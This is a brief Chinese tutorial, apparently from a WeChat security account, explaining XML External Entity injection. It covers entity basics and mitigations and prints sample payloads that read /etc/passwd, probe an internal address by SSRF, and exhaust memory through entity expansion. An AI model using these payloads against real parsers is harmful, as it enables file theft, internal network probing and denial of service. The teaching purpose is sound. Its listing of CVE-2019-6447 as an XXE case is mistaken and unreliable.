XML外部实体注入(XML External Entity,XXE)漏洞是一种基于XML数据解析的严重安全漏洞,允许攻击者通过操纵XML输入干扰应用程序的逻辑、窃取敏感数据甚至控制服务器。
XML实体基础
XML(可扩展标记语言)通过实体(Entity)机制实现数据的复用,实体分为:
- 内部实体:定义在文档内部的文本片段
<!ENTITY example "Hello World">
- 参数实体(DTD内部使用,以%开头)
<!ENTITY % param_entity "恶意内容">
DTD(文档类型定义)
DTD是 XML 的早期模式定义语言,允许声明实体和文档结构。
XXE 的核心在于攻击者劫持DTD的实体解析过程。
<!DOCTYPE attack [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
当XML解析器处理此文档时,会读取 /etc/passwd 的内容并替换 &xxe;。
XML解析器启用外部实体解析(默认配置下如PHP的SimpleXML、Java的 SAXParser)。
解析结果可被攻击者查看(直接回显、错误日志、带外通信等)。
通过file://协议读取服务器本地文件:
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user>&file;</user>
利用XML解析器发起网络请求,探测内网服务:
<!DOCTYPE data [
<!ENTITY ssrf SYSTEM "http://192.168.1.1:8080/internal-api">
]>
<data>&ssrf;</data>
拒绝服务攻击(DoS)
通过实体扩展耗尽资源(如 "Billion Laughs" 攻击):
<!DOCTYPE data [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;">
<!-- 递归定义直至内存耗尽 -->
]>
<data>&lol9;</data>
- Java:配置DocumentBuilderFactory。
- Python:defusedxml库替代标准库。
- PHP: 使用libxml_disable_entity_loader(true)。
输入过滤:
- 移除XML中的<!DOCTYPE> <!ENTITY>声明。
- 使用正则表达式黑名单过滤SYSTEM、PUBLIC等关键词。
服务器端加固:限制XML解析器的网络访问权限(防火墙规则)。
安全编码实践:避免直接拼接用户输入到XML文档。
PayPal 2013:通过XXE读取服务器配置,获取加密密钥。
Facebook 2014:利用SVG图片上传功能触发XXE,读取内部文件。
CVE-2019-6447:ES文件浏览器漏洞导致数亿用户数据泄露。
Q:有哪些典型的XXE漏洞案例?
原文始发于微信公众号(小白学安全):网安60秒丨XML外部实体注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论